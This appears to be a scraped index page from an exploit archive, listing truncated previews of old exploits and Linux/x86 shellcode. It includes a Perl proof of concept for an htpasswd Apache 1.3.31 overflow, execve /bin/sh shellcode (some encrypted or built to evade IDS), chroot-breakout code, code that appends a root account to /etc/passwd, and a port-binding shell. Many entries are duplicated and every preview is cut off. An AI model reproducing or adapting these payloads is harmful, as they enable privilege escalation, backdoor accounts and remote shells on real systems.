Microsoft Windows - JPEG Processing Buffer Overrun (MS04-028)

!/bin/sh The JPEG vuln is triggered by the 0 or 1 length field with an integer flaw The crafted JPEG header makes Windows crash a couple of different ways 1 First, it crashes when the image is opened. 2 Second, it crashes when hovering the mouse over the image. The pointer overwrite is pretty...

htpasswd Apache 1.3.31 - Local Overflow

htpasswd Apache 1.3.31 - Local Overflow !/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo - foxtrotatflowsecurity.org $shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"...

htpasswd Apache 1.3.31 Local Exploit

Exploit for linux platform in category local exploits ==================================== htpasswd Apache 1.3.31 Local Exploit ==================================== !/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo -...

htpasswd Apache 1.3.31 - Local Overflow

!/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo - foxtrotatflowsecurity.org $shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"...

linux/x86 execve /bin/sh encrypted 58 bytes

linux/x86 execve /bin/sh encrypted 58 bytes. Shellcode exploit for linx86 platform / !!!!!! PRIVATE !!!!!!! // ANTI-IDS SHELLCODE // // !!!!!!!!!!!!!!!!!! // [email protected] 0x1d abril 0x7d2 ./test.c !!! Shellcode execve sh Encriptada !!! AHORA EN 58 BYTES !!!!!!!!!!!!!! Notese que la...

linux/x86 execve /bin/sh 24 bytes

linux/x86 execve /bin/sh 24 bytes. Shellcode exploit for linx86 platform / [email protected] execve/bin/sh. 24 bytes. es lo mas chica que se puede hacer. / char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" ...

linux/x86 break chroot 46 bytes

No description provided by source. / The setuid0+chroot shellcode it will put '../' 10 times Size 46 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi mov edi,esi xor ecx,ecx push ecx mov al,0x17 push eax int 0x80 xor eax,eax push eax mov...

linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes

linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes. Shellcode exploits for multiple platform / Shellcode ejecuta execve /bin/sh en Irix/mips, Linux/x86, Unix/sparc by dymitr1 [email protected] / include char code=...

linux/x86 execve /bin/sh tolower() evasion 41 bytes

Exploit for linux/x86 platform in category shellcode =================================================== linux/x86 execve /bin/sh tolower evasion 41 bytes =================================================== / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include char...

linux/x86 execve /bin/sh 24 bytes

No description provided by source. / [email protected] execve/bin/sh. 24 bytes. es lo mas chica que se puede hacer. / char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // mov...

linux/x86 execve /bin/sh 29 bytes

Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 29 bytes ================================= / c1999-2003 Shellcode Research http://www.shellcode.com.ar execve/bin/sh for linux x86 29 bytes by Matias Sedalo xorl %ebx, %ebx pushl %ebx...

linux/x86 add user t00r 82 bytes

No description provided by source. / [email protected] 0x14abril0x7d2 82 bytes Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd Encriptada en http://www.shellcode.com.ar/linux/lnx-t00r-cr1.c / include stdio.h // Shellcode // Asm Code char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50...

linux/x86 add user 104 bytes

No description provided by source. / Source to this is pass.s This will append a root line to the passwd file see the source. Shok Matt Conover, [email protected] / char shellcode= "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"...

linux/x86 break chroot 34 bytes

Exploit for linux/x86 platform in category shellcode =============================== linux/x86 break chroot 34 bytes =============================== / The setuid0+chroot shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 34 bytes OS BSD...

linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes

Exploit for multiple platform in category shellcode ================================================================ linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes ================================================================ / Shellcode ejecuta execve /bin/sh en Irix/mips,...

linux/x86 execve /bin/sh xor encrypted 55 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 execve /bin/sh xor encrypted 55 bytes =============================================== / .file "xor-encrypted shellcode" .version "1.0" .text .align 4 .globl main .type main,@function...

linux/x86 execve /bin/sh encrypted 58 bytes

Exploit for linux/x86 platform in category shellcode =========================================== linux/x86 execve /bin/sh encrypted 58 bytes =========================================== / !!!!!! PRIVATE !!!!!!! // ANTI-IDS SHELLCODE // // !!!!!!!!!!!!!!!!!! // email protected 0x1d abril 0x7d2...

linux/x86 portbind port 5074 92 bytes

Exploit for linux/x86 platform in category shellcode ===================================== linux/x86 portbind port 5074 92 bytes ===================================== / email protected x86 portbind a shell in port 5074 92 bytes. / char shellcode = "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax...

linux/x86 unix/SPARC execve /bin/sh 80 bytes

Exploit for multiple platform in category shellcode ============================================ linux/x86 unix/SPARC execve /bin/sh 80 bytes ============================================ / Linux/x86 and Unix/Sparc execve of /bin/sh by dymitri!!! / include char wcode=...

linux/x86 bsd/x86 execve /bin/sh 38 bytes

Exploit for multiple platform in category shellcode ========================================= linux/x86 bsd/x86 execve /bin/sh 38 bytes ========================================= / Linux/x86 and Bsd/x86 execve of /bin/sh by dymitri!!! / include char code = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68"...